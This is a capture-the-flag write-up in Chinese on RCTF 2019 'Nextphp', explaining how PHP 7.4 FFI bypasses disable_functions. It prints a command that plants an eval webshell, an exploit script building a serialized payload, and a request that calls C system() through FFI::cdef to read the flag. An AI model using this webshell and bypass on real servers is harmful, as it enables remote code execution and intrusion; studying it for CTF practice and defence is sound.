FFI绕过disable_functions

文章目录

FFI绕过disable_functions

RCTF 2019Nextphp

首先来看这道题目

index.php

php 复制代码
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

查看一下phpinfo

发现过滤了很多函数,我们写个马:

复制代码
/?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");

蚁剑连接:

preload.php

php 复制代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

本来想尝试使用LD_PRELOAD等方式绕过disable_functions,但是禁用了mail、putenv()等函数,没办法了

这了我们获取到了preload.php文件,这里就不得不提到PHP7.4 FFI了

PHP7.4 FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

使用条件:

复制代码
Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是结果的payload里面仍然还使用了system的原因,因为我们是加载c库函数中的system函数的

所以此处的思想就是使用PHP代码来调用c代码的方式,先声明c中的命令执行函数,然后通过FFI变量调用该c函数即可bypass

由于这里的php版本是7.4,所以我们就可以使用这种方式了

exp:

php 复制代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);

    }
}

$a = new A();
echo serialize($a);

# C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

这里我们需要注释掉__serialize()函数,否则就会先执行__serialize(),这里我们需要执行的是serialize()函数

然后我们传参:

复制代码
/?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');

首先反序列化得到A对象,然后调用__serialize()返回$this->data数组,取其中的ret变量,由于调用unserialize()时会调用run(),所以导致ret=FFI::cdef(int system(char *command);)就相当于声明了一个FFI对象,然后执行system()函数即可

参考

https://www.cnblogs.com/karsa/p/13393034.html

https://blog.csdn.net/RABCDXB/article/details/120319633

简单讲解如何绕过PHP disable_function

相关推荐
YFJ_mily1 天前
【10-12月优质学术会议合集】会议覆盖人工智能、大数据、高端装备、软件与网络安全 、计算机视觉技术等热门方向
算法·安全·web安全·网络安全·软件·rdlink研发家
hengdonghui1 天前
Writeup 4 CTFHub injection
web·ctf·sql注入·整数型联合查询注入(有回显)
ManageEngine卓豪2 天前
企业网络安全建设实践:2026 威胁态势、合规基线与分层防御落地
web安全·网络安全·it运维·网络安全防护
hengdonghui2 天前
Writeup 4 CTFHub weakphp
ctf·md5 绕过·.git 源码泄露·php 弱类型比较
qq_443132413 天前
运营商网络安全监测项目厂商选择要点与建设思路
安全·web安全
是真的小外套3 天前
第18章:网络安全测评技术与标准
安全·web安全
无障碍研究院4 天前
2026TADC|圆桌对话:出海无障碍合规
安全·web安全
持敬chijing4 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
hengdonghui4 天前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
听说6664 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全